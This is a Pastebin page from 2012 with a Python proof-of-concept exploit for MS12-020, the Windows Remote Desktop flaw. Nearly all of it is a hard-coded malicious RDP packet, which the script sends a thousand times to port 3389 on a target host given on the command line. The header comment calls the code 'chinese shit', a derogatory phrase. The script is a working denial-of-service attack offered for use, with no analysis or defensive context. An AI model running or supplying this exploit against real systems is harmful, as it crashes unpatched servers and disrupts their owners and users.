Advertisement
Guest User

Untitled

a guest
Mar 15th, 2012
25,555
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.36 KB | None | 0 0
  1. #
  2. # ms12-020 "chinese shit" PoC
  3. #
  4. # tested on winsp3 spanish, from localhost
  5. #
  6. #
  7.  
  8. import socket
  9. import sys
  10.  
  11.  
  12. buf=""
  13. buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00"
  14. buf+="\x00\x00\x00\x01\x00\x08\x00\x00"
  15. buf+="\x00\x00\x00\x03\x00\x01\xd6\x02"
  16. buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04"
  17. buf+="\x01\x01\x04\x01\x01\x01\x01\xff"
  18. buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
  19. buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
  20. buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
  21. buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
  22. buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
  23. buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
  24. buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
  25. buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
  26. buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
  27. buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
  28. buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
  29. buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
  30. buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
  31. buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
  32. buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
  33. buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
  34. buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
  35. buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
  36. buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
  37. buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
  38. buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
  39. buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
  40. buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
  41. buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
  42. buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
  43. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  44. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  45. buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
  46. buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
  47. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  48. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  49. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  50. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  51. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  52. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  53. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  54. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  55. buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
  56. buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
  57. buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
  58. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  59. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  60. buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
  61. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  62. buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
  63. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  64. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  65. buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
  66. buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
  67. buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
  68. buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
  69. buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
  70. buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
  71. buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
  72. buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
  73. buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
  74. buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
  75. buf+="\x04\x01\x00\x01\x00\x03\x00\x00"
  76. buf+="\x08\x02\xf0\x80\x28\x03\x00\x00"
  77. buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
  78. buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80"
  79. buf+="\x38\x00\x06\x03\xeb\x03\x00\x00"
  80. buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
  81. buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80"
  82. buf+="\x38\x00\x06\x03\xed\x03\x00\x00"
  83. buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
  84. buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00"
  85. buf+="\x00\x12\x34\x00"
  86.  
  87. HOST = sys.argv[1]
  88. PORT = 3389
  89. for i in range(1000):
  90. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  91. s.connect((HOST,PORT))
  92. print "sending: %d bytes" % len(buf)
  93. s.send(buf)
  94. rec = s.recv(100)
  95. print "received: %d bytes" % len(rec)
  96. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement